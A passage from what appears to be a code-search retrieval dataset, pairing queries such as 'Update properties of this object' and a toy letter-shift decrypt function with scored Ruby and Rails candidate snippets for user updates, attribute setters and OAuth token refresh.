"text": "def update\n @user = User.find(params[:id]).decorate\n return if unauthorized_user!\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"title": ""
},
{
"docid": "42c83ab1f829a61f1b4d8ea06255ea19",
"score": "0.502632",
"text": "def update\n \n if current_user.update(user_params)\n Rails.cache.write(current_user.id,current_user)\n redirect_to users1_got_profile_path\n\n end\n end",
"title": ""
},
{
"docid": "0568a36dca8d8553d2c53e0babed0bf3",
"score": "0.50254446",
"text": "def update\n\t\tif @user.update(user_params)\n\t\t\trender :show, status: :ok, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f3d0dac5789c507351722f6b65542fed",
"score": "0.50199443",
"text": "def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93fee56cd403fedbec9c68048dec8fe1",
"score": "0.5017922",
"text": "def update\n if check_user_write_access\n respond_to do |format|\n if user.update_attributes(params[:user])\n format.html { redirect_to user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "7e26e472a8e9e2ca274b722d07a4b328",
"score": "0.50137866",
"text": "def update\n load_user\n build_user\n respond_to do |format|\n if user.save\n format.html { redirect_to user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @ser }\n else\n format.html { render :edit }\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b1c8e0b074ab0e9fa4c065829440d96",
"score": "0.5013676",
"text": "def self_update\n @current_user.update(user_params_update)\n json_response(@current_user)\n end",
"title": ""
},
{
"docid": "654a41b25e33b237c308d2f1f9cad9bc",
"score": "0.50022507",
"text": "def update\n unless create_user\n respond_to do |format|\n format.json { render json: { error: 'User is not logged in!' }, status: :unprocessable_entity }\n end\n return\n end\n logger.debug '@user is found in db!'\n\n respond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8195016a5c84e2e83b12c685a2d58808",
"score": "0.50012636",
"text": "def set_user\n @user = User.find_by(access_token: params[:access_token])\n end",
"title": ""
},
{
"docid": "bab994fdb95eece70840c2bad4e8839d",
"score": "0.5000256",
"text": "def update\n respond_with ApidUser.update(params[:id], params[:apid_user])\n rescue ActiveRecord::RecordNotFound\n respond_with ApidUser::StateChangeError\n end",
"title": ""
},
{
"docid": "8a4b558620f49d7612ac08cc74e73fee",
"score": "0.49962002",
"text": "def authorize_time_check(user)\n\n if (user.access_token_expiry < Time.now)\n refresh_authorisation(user)\n end\n end",
"title": ""
},
{
"docid": "28c369a53c624554f07b71b03c412fda",
"score": "0.4995118",
"text": "def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"title": ""
},
{
"docid": "a2fbff7cdb807e9591d0b4c94aa42fb8",
"score": "0.4994838",
"text": "def update \n @current_user.update(user_params)\n render json: @current_user\n end",
"title": ""
},
{
"docid": "5362063541a396f5215b7b2778ea8168",
"score": "0.49882102",
"text": "def after_successful_token_authentication\n @user = current_user\n end",
"title": ""
},
{
"docid": "5a7e3d2560a90455808cf2ac726ee37f",
"score": "0.49868459",
"text": "def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"title": ""
},
{
"docid": "56c0d0bc466b16d97b29a5600daf8100",
"score": "0.49861154",
"text": "def refresh_token(oauth_drive_token)\n begin\n @client.authorization.fetch_access_token!\n rescue\n # Error when updating, so lets remove token and user will have to re-autrhorize\n oauth_drive_token.destroy\n return false\n end\n \n saved = OauthDriveToken.create_or_update(:user => oauth_drive_token.user, \n :access_token => @client.authorization.access_token, \n :refresh_token => @client.authorization.refresh_token,\n :expires_at => Time.now + @client.authorization.expires_in.seconds,\n :provider_number => APP_CONFIG['oauth']['google']['provider_number'])\n\n # Hasn't been updated, so lets remove token\n oauth_drive_token.destroy if !saved\n \n saved\n end",
"title": ""
},
{
"docid": "114185069f5cd988093dbd98ede2cf03",
"score": "0.4984074",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n if session[:user].id == @user.id\n session[:user].reload\n end\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to user_url(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors }\n end\n end\n end",
"title": ""
},
{
"docid": "44895b0da9883da239b76f3cb6d32820",
"score": "0.4980394",
"text": "def update\n if current_user != @user\n redirect_to users_path\n end\n\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2af5b495b9c8719f0838444957807f10",
"score": "0.4976449",
"text": "def update\n user = self.resource = User.to_adapter.get!(send(:\"current_user\").to_key)\n\n if user.update_with_password(resource_params)\n set_flash_message :notice, :updated\n sign_in resource_name, user, :bypass => true\n respond_with user, :location => after_update_path_for(user)\n else\n clean_up_passwords user\n respond_with user\n end\n end",
"title": ""
},
{
"docid": "bc78854c1c31e1fc83c18af7e45d2b42",
"score": "0.49761352",
"text": "def update\n authorize User\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "969d50332c2460f762ce376402417754",
"score": "0.4975636",
"text": "def tokens_refreshed?\n\t current_user and current_user.refreshed?\n\tend",
"title": ""
},
{
"docid": "822d4375a72f7260b6def5c3a845b5aa",
"score": "0.49707583",
"text": "def test_feature_refresh_token_for_expired_oauth_token\n # Setup\n opts = {\n 'email' => @user.email,\n 'expires_in' => 3\n }\n\n @user = setup_user(opts)\n\n sleep(opts['expires_in'])\n\n # Step 1\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n get '/me', {}, headers\n assert_response(@response, :client_error)\n\n # Step 2\n @user.acquire_refreshed_oauth_token\n\n # Step 3\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n\n get '/me', {}, headers\n assert_response(@response, :success)\n end",
"title": ""
},
{
"docid": "6b2b654b90faa7a4ad897113e9a26545",
"score": "0.4967004",
"text": "def refresh(response)\n @access_token = response[:access_token]\n @expires_at = Time.now + response[:expires_in]\n end",
"title": ""
}
] |
af630984682f1a0b5a68e6092af0d102 | Update properties of this object | [
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.0",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
}
] | [
{
"docid": "184b1b1ed771473d3eb9f338c0734c38",
"score": "0.73066413",
"text": "def update *args\n opts = args.extract_options!\n fill_properties opts\n self.save\n end",
"title": ""
},
{
"docid": "5076c5a88404ae72986f958710f5687a",
"score": "0.72631145",
"text": "def update(properties)\n @__hash__.update(properties)\n end",
"title": ""
},
{
"docid": "60506d5995c168a570c84bcbafd6d01b",
"score": "0.7164913",
"text": "def update props\n # not an alias because doc\n put props\n end",
"title": ""
},
{
"docid": "ec25850e7b3d73876b69868b5e566a7a",
"score": "0.71243227",
"text": "def update_properties(hash)\n hash.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "22938231f10efd60d4530259d1ab7161",
"score": "0.7061904",
"text": "def update_props(properties)\n fail 'not implemented'\n end",
"title": ""
},
{
"docid": "22938231f10efd60d4530259d1ab7161",
"score": "0.7061904",
"text": "def update_props(properties)\n fail 'not implemented'\n end",
"title": ""
},
{
"docid": "150fa2bdc1fc43d28ac45e2278a1f797",
"score": "0.7012263",
"text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end",
"title": ""
},
{
"docid": "b46342a57789464175130c5171865a4f",
"score": "0.69842774",
"text": "def update_properties(props)\n load_properties(force: true)\n\n deep_merge = proc do |_, old_value, new_value|\n if old_value.is_a?(Hash) && new_value.is_a?(Hash)\n old_value.merge(new_value, &deep_merge)\n else\n new_value\n end\n end\n\n props = properties.merge(props || {}, &deep_merge)\n save_properties(properties.merge(props || {}))\n self\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "4aa62f56c7ec71b9c7d914558501001b",
"score": "0.67206186",
"text": "def update\n update_obj\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "b0508d605628b9b1ec78fe5f0697a746",
"score": "0.67057854",
"text": "def update_properties(hash)\n hash.each_pair do |k, v|\n self.set_property_value(k.to_s, v)\n end\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "d9b090f93fdffad34c5489c4c437c6f3",
"score": "0.6662612",
"text": "def update_properties(properties_element)\n end",
"title": ""
},
{
"docid": "b7ed68c679d7eaccf546a282fab6e985",
"score": "0.66259164",
"text": "def apply\n update_keys\n update_columns\n update_properties\n end",
"title": ""
},
{
"docid": "769b77b7f7f9f82ae847f5968eb201dc",
"score": "0.6571848",
"text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"title": ""
},
{
"docid": "769b77b7f7f9f82ae847f5968eb201dc",
"score": "0.6571848",
"text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"title": ""
},
{
"docid": "137759bf2b87f1ca55eb78e668747d15",
"score": "0.6539236",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end",
"title": ""
},
{
"docid": "137759bf2b87f1ca55eb78e668747d15",
"score": "0.6539236",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end",
"title": ""
},
{
"docid": "137759bf2b87f1ca55eb78e668747d15",
"score": "0.6539236",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end",
"title": ""
},
{
"docid": "137759bf2b87f1ca55eb78e668747d15",
"score": "0.6539236",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end",
"title": ""
},
{
"docid": "137759bf2b87f1ca55eb78e668747d15",
"score": "0.6539236",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end",
"title": ""
},
{
"docid": "137759bf2b87f1ca55eb78e668747d15",
"score": "0.6539236",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end",
"title": ""
},
{
"docid": "862f7aa179e3e1751693f78772c09a99",
"score": "0.65159345",
"text": "def assign_properties(properties); end",
"title": ""
},
{
"docid": "328c68b6c30673dac05ca930f5da533c",
"score": "0.6458067",
"text": "def update_attributes(attrs)\n self.update(attrs)\n end",
"title": ""
},
{
"docid": "328c68b6c30673dac05ca930f5da533c",
"score": "0.6458067",
"text": "def update_attributes(attrs)\n self.update(attrs)\n end",
"title": ""
},
{
"docid": "d8b3bf9ec121e23dad3af2edca6e6094",
"score": "0.6421526",
"text": "def update(attributes); end",
"title": ""
},
{
"docid": "63cce5e99d8dc677403b00708afc27c9",
"score": "0.641709",
"text": "def update\n @prop.update_attributes(prop_params)\n respond_with @prop, location: backstage_scene_props_path\n end",
"title": ""
},
{
"docid": "3dc790e8b6e9e65eb288c97798a4c7f2",
"score": "0.64154994",
"text": "def set_properties inst\n model.properties.find_all { |p| model.updatable?(p.name) }.each do |p|\n inst.send(\"#{p.name}=\".to_sym, params[p.name.to_s]) if params.has_key?(p.name.to_s)\n end\n inst\n end",
"title": ""
},
{
"docid": "9373755ebb61f1f274f6c8504a5acace",
"score": "0.64146614",
"text": "def reload(props = {})\n reset_changes\n super\n assign_attributes(props)\n self\n end",
"title": ""
},
{
"docid": "fb68247cb1373a6c71a42a2aa69f1dcb",
"score": "0.64143723",
"text": "def update(attrs)\n @attrs = attrs\n self\n end",
"title": ""
},
{
"docid": "fb68247cb1373a6c71a42a2aa69f1dcb",
"score": "0.64143723",
"text": "def update(attrs)\n @attrs = attrs\n self\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "71d6a0160cffce28db4d0a25d6dbda13",
"score": "0.6385747",
"text": "def update!(**args)\n @count = args[:count] if args.key?(:count)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "9b95f8bc66f32e7ebbe7e63224d1ebaf",
"score": "0.6364864",
"text": "def update(attributes)\n attributes.each do |name, value|\n self[name] = value\n end\n end",
"title": ""
},
{
"docid": "575f3d0c94f466263e302883e13868a6",
"score": "0.6330631",
"text": "def _update\n update!\n end",
"title": ""
},
{
"docid": "7c6d5966289f9347f75aa7b24903a328",
"score": "0.6327251",
"text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type]))) unless attribute_get(property).nil?\n end\n end\n @attributes[:original][property] = attribute_get(property)\n @dirty[property] = nil\n @attributes[:copied][property] = NOT_SET\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end",
"title": ""
},
{
"docid": "210886bcfd68fae88847f8b3464d4058",
"score": "0.6325362",
"text": "def update_properties!(scraper)\n log \"Updating assets for #{self.slug}\"\n# only update active properties\n Property.where(source_id: self.id, status: 1).find_each do |prop|\n begin\n scraper.update_property(prop)\n rescue Exception => e\n log \"there was a connection error #{e.message} - #{e.class}\"\n end\n end\n end",
"title": ""
},
{
"docid": "da63345424fc9aecef032928485bd149",
"score": "0.6319025",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "749afa4ff068e21c7d78bbad94c19d6c",
"score": "0.6313444",
"text": "def update!(attributes); end",
"title": ""
},
{
"docid": "e8639be61ed6393bc612a8aef27789d3",
"score": "0.6312355",
"text": "def update!(**args)\n @border = args[:border] if args.key?(:border)\n @fields = args[:fields] if args.key?(:fields)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n end",
"title": ""
},
{
"docid": "6284f332cbe8c998b16d5e816c5d21ed",
"score": "0.6291622",
"text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @parent = args[:parent] if args.key?(:parent)\n @property = args[:property] if args.key?(:property)\n @property_type = args[:property_type] if args.key?(:property_type)\n end",
"title": ""
},
{
"docid": "6284f332cbe8c998b16d5e816c5d21ed",
"score": "0.6291622",
"text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @parent = args[:parent] if args.key?(:parent)\n @property = args[:property] if args.key?(:property)\n @property_type = args[:property_type] if args.key?(:property_type)\n end",
"title": ""
},
{
"docid": "5a8e82caac01cee661bc875a5b0cf723",
"score": "0.6283673",
"text": "def refresh\n set_attributes\n end",
"title": ""
},
{
"docid": "9e076ce17f1607b2a6248469b63b9c05",
"score": "0.62797445",
"text": "def training_updated_properties=(value)\n @training_updated_properties = value\n end",
"title": ""
},
{
"docid": "309d8f89c45737b781ca7c15a61b00a5",
"score": "0.6273536",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @size_bytes = args[:size_bytes] if args.key?(:size_bytes)\n end",
"title": ""
},
{
"docid": "309d8f89c45737b781ca7c15a61b00a5",
"score": "0.6273536",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @size_bytes = args[:size_bytes] if args.key?(:size_bytes)\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "7a41bc9d5a07220fb8626d1fa90d2d79",
"score": "0.62639254",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end",
"title": ""
},
{
"docid": "f88ac8dac0e7b4769636f755e65a14ba",
"score": "0.6261997",
"text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "f88ac8dac0e7b4769636f755e65a14ba",
"score": "0.6261997",
"text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "f88ac8dac0e7b4769636f755e65a14ba",
"score": "0.6261997",
"text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "f88ac8dac0e7b4769636f755e65a14ba",
"score": "0.6261997",
"text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "f88ac8dac0e7b4769636f755e65a14ba",
"score": "0.6261997",
"text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "f88ac8dac0e7b4769636f755e65a14ba",
"score": "0.6261997",
"text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "afd53a32bf51a2ff3c438cbf011b1ee6",
"score": "0.6261246",
"text": "def update!\n saved = false\n retries = RETRIES\n while !saved\n begin\n res = Persistence::Setup.db.save_doc(@properties)\n @properties = Persistence::Setup.db.get(res['id'])\n saved = true\n rescue Exception => ex\n raise ex if ex.http_code != 409\n if(retries > 0)\n @new_properties = Persistence::Setup.db.get(@properties['_id'])\n @properties.each_pair do |k,v|\n if k != \"_rev\" && k != \"_id\"\n @new_properties[k] = v\n end\n end\n @properties = @new_properties\n else\n raise ex\n end\n end\n end\n :ok\n end",
"title": ""
},
{
"docid": "118090da310d688caa13dea348732f3c",
"score": "0.62579167",
"text": "def update(attributes={})\n self.class.update(self, attributes)\n end",
"title": ""
},
{
"docid": "91dc386ff8fa066852510a5d62b13078",
"score": "0.62170374",
"text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "91dc386ff8fa066852510a5d62b13078",
"score": "0.62170374",
"text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "6249943d1eeff63f8f611fcf73254058",
"score": "0.62152076",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "1c12f310aca206a2cefff8c291007668",
"score": "0.6210263",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end",
"title": ""
},
{
"docid": "3dfb66c3e13f181393bb4510e9fcd51f",
"score": "0.62083745",
"text": "def set_update(attrs = {})\n @movement.attributes = attrs.slice(*attributes_for_update)\n set_details\n\n @movement.balance = get_updated_balance\n @movement.gross_total = original_total\n @movement.set_state_by_balance!\n @movement.discounted = ( discount > 0 )\n\n @movement.balance_inventory = balance_inventory\n @movement.delivered = @movement.details.all? {|v| v.balance <= 0}\n\n @errors.new(movement).set_errors\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "5d229ea224b1dfa7ac9ce6808ca63fc4",
"score": "0.62017816",
"text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end",
"title": ""
},
{
"docid": "6992c0833b982296b329ec1d8c7289de",
"score": "0.6201711",
"text": "def update(attributes = {})\n self.attributes = attributes\n _update\n end",
"title": ""
},
{
"docid": "2beb42793217599eea1dac4b91640e41",
"score": "0.6196084",
"text": "def update_attributes\n server_update_data.each_pair do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"title": ""
},
{
"docid": "67f76e6622d1021031437ad609613c63",
"score": "0.6192824",
"text": "def update(obj)\n obj.each_pair do |key, value|\n send(\"#{key}=\", value)\n end\n self\n end",
"title": ""
},
{
"docid": "30aa07725af2114280d6e8f916ab079f",
"score": "0.6183338",
"text": "def update!\n\t\t\tconstruct!(self, &@update)\n\t\t\t@update = nil\n\t\t\t\n\t\t\treturn self\n\t\tend",
"title": ""
},
{
"docid": "f1f71f298690a3bd1f5832b15038d8bb",
"score": "0.6174291",
"text": "def updated_properties\n @updated_properties ||= ActiveSupport::HashWithIndifferentAccess.new\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "ed1b58af16fd466e308ffc9229115e36",
"score": "0.6145399",
"text": "def update_attributes(params)\n raise(RHapi::AttributeError, \"The params must be a hash.\") unless params.is_a?(Hash)\n params.each do |name, value|\n self.properties.send(name.to_s + '=', value)\n end\n save # only call API once rather than repeatedly saving with update_attribute calls\n end",
"title": ""
},
{
"docid": "ed1b58af16fd466e308ffc9229115e36",
"score": "0.6145399",
"text": "def update_attributes(params)\n raise(RHapi::AttributeError, \"The params must be a hash.\") unless params.is_a?(Hash)\n params.each do |name, value|\n self.properties.send(name.to_s + '=', value)\n end\n save # only call API once rather than repeatedly saving with update_attribute calls\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "7f11aed7030229ef429116ccba78c00f",
"score": "0.61400205",
"text": "def update_properties\n # t_init = 0, t_mod = 0, t_formula = 0, t_formula_mod = 0, t_post_init = 0\n # t_update_properties = Benchmark.measure do\n # Reset values for everything except formulas\n # t_init = Benchmark.measure do\n character_properties.reject { |p| p.is_a?(CharacterFormula) }.each do |p|\n p.init(self)\n end\n # end\n\n # Apply modifiers to attributes, skills and resistances (formulas later)\n mods = []\n # t_mod = Benchmark.measure do\n mods << race.property_modifiers if race\n mods << birthsign.property_modifiers if birthsign\n mods.flatten!\n mods.reject { |m| m.property.is_a?(Formula) }.each(&method(:apply_modifier))\n # end\n\n # Now start to process formulas\n # t_formula = Benchmark.measure do\n character_properties.select { |p| p.is_a?(CharacterFormula) }.each do |f|\n f.init(self)\n end\n # end\n\n # Apply modifiers to formulas\n # t_formula_mod = Benchmark.measure do\n mods.select { |m| m.property.is_a?(Formula) }.each(&method(:apply_modifier))\n # end\n\n # t_post_init = Benchmark.measure do\n character_properties.each do |prop|\n prop.post_init(self)\n end\n # end\n # end\n\n # logger.warn(\"## Init: #{(t_init.real*1000).to_i}ms\")\n # logger.warn(\"## Mofifiers: #{(t_mod.real*1000).to_i}ms\")\n # logger.warn(\"## Formula: #{(t_formula.real*1000).to_i}ms\")\n # logger.warn(\"## Formula Modifiers: #{(t_formula_mod.real*1000).to_i}ms\")\n # logger.warn(\"## Post Init: #{(t_post_init.real*1000).to_i}ms\")\n # logger.warn(\"### Update Properties: #{(t_update_properties.real*1000).to_i}ms\")\n end",
"title": ""
},
{
"docid": "22a21a1959eeb926dfe475d8878239d7",
"score": "0.6127356",
"text": "def update\n connection.put(singleton_path(prefix_options), encode, self.class.headers).tap do |response|\n load_attributes_from_response(response)\n end\n end",
"title": ""
}
] |
d6ea6d5ad8c71bb58e29923d147f1816 | puts encrypt(password) Decrypt Get the index of each letter of encrypted string | [
{
"docid": "1b1c3a7af350ce8e09e1847cd82c82af",
"score": "0.79390556",
"text": "def decrypt(password)\r\n# Store letter at index - 1 from the alphabet\r\n index = 0\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n decrypted = \"\"\r\n while index < password.length\r\n letter = password[index]\r\n newindex = alphabet.index(letter)\r\n if newindex - 1 == -1\r\n newindex = alphabet.length\r\n end\r\n newletter = alphabet[newindex -1]\r\n decrypted[index] = newletter\r\n index += 1\r\n end\r\n return decrypted\r\nend",
"title": ""
}
] | [
{
"docid": "cfa23d3101387b13e12db9e540fba398",
"score": "0.8185025",
"text": "def decrypt(password)\n index = 0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n while index < password.length\n letters = password[index]\n number = alphabet.index(letters)\n new_number = number - 1\n password[index] = alphabet[new_number]\n index += 1\n end\n p password\n end",
"title": ""
},
{
"docid": "3b7cb1db687ccaf037c781ad134b4348",
"score": "0.8113084",
